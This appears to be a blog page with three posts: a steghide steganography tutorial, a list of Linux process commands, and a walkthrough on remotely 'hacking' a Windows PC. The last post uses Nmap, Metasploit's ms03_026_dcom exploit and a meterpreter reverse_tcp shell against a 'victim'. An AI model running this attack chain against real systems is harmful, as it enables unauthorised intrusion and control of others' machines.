Steghide - A Beginners Tutorial

All of us want our sensitive information to be hidden from people and for that we perform different kinds of things like hide those files or lock them using different softwares. But even though we do that, those files attractive people to itself as an object of security. Today I'm going to give you a slight introduction to what is called as Steganography. Its a practice of hiding an informational file within another file like you might have seen in movies an image has a secret message encoded in it. You can read more about Steganography from Wikipedia.

In this tutorial I'm going to use a tool called steghide, which is a simple to use Steganography tool and I'm running it on my Arch Linux. What I'm going to do is simply encode an image with a text file which contains some kind of information which I don't want other people to see. And at the end I'll show you how to decode that information back. So lets get started:

Requirements:
1. steghide
2. a text file
3. an image file

After you have installed steghide, fire up the terminal and type steghide

It will give you list of options that are available.

Now say I have a file with the name of myblogpassword.txt which contains the login password of my blog and I want to encode that file into an Image file with the name of arch.jpg so that I can hide my sensitive information from the preying eyes of my friends. In order to do that I'll type the following command in my terminal:

steghide embed -ef myblogpassword.txt -cf arch.jpg

here steghide is the name of the program
embed flag is used to specify to steghide that we want to embed one file into another file
-ef option is used to specify to steghide the name (and location, in case if its in some other directory) of the file that we want to embed inside of the another file, in our case its myblogpassword.txt
-cf option is used to specify the name (and location, in case if its in some other directory) of the file in which we want to embed our file, in our case its an image file named arch.jpg

After typing the above command and hitting enter it will prompt for a password. We can specify a password here in order to password protect our file so that when anyone tries to extract our embedded file, they'll have to supply a password in order to extract it. If you don't want to password protect it you can just simply hit enter.

Now myblogpassword.txt file is embedded inside of the image file arch.jpg. You'll see no changes in the image file except for its size. Now we can delete the plain password text file myblogpassword.txt.

In order to extract the embedded file from the cover file, I'll type following command in the terminal:

steghide extract -sf arch.jpg -xf myblogpass.txt

here steghide is again name of the program
extract flag specifies that we want to extract an embedded file from a stego file
-sf option specifies the name of the stego file or in other words the file in which we embedded another file, in our case here its the arch.jpg file
-xf option specifies the name of the file to which we want to write our embedded file, here it is myblogpass.txt
(remember you must specify the name of file with its location if its somewhere else than the current directory)

After typing the above command and hitting enter, it will prompt for a password. Supply the password if any or otherwise just simply hit enter. It will extract the embedded file to the file named myblogpass.txt. Voila! you got your file back but yes the image file still contains the embedded file.

That's it, very easy isn't it?

It was a pretty basic introduction you can look for other things like encrypting the file to be embedded before you embed it into another file and so on... enjoy :)

Top Process Related Commands In Linux Distributions

Commands in Linux are just the keys to explore and close the Linux. As you can do things manually by simple clicking over the programs just like windows to open an applications. But if you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well. In this blog you will exactly get the content about Linux processes commands which are are given below.

ps

The "ps" command is used in Linux to display your currently active processes over the Linux based system. It will give you all the detail of the processes which are active on the system.

ps aux|grep

The "ps aux|grep" command is used in Linux distributions to find all the process id of particular process like if you wanna know about all the process ids related to telnet process then you just have to type a simple command like "ps aux|grep 'telnet'". This command will give you the details about telnet processes.

pmap

The "pmap" command in Linux operating system will display the map of processes running over the memory in Linux based system.

top

The "top" command is used in Linux operating system to display all the running processes over the system's background. It will display all the processes with process id (pid) by which you can easily kill/end the process.

Kill pid

Basically the kill command is used to kill or end the process or processes by simply giving the process id to the kill command and it will end the process or processes. Just type kill and gave the particular process id or different process ids by putting the space in between all of them. kill 456 567 5673 etc.

killall proc

The "killall proc" is the command used in Linux operating system to kill all the processes named proc in the system. Killall command just require a parameter as name which is common in some of the processes in the system.

bg

The "bg" is the command used in Linux distributions to resume suspended jobs without bringing them to foreground.

fg

The "fg" command is used in Linux operating system to brings the most recent job to foreground. The fg command also requires parameters to do some actions like "fg n" n is as a parameter to fg command that brings job n to the foreground.Related posts

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.
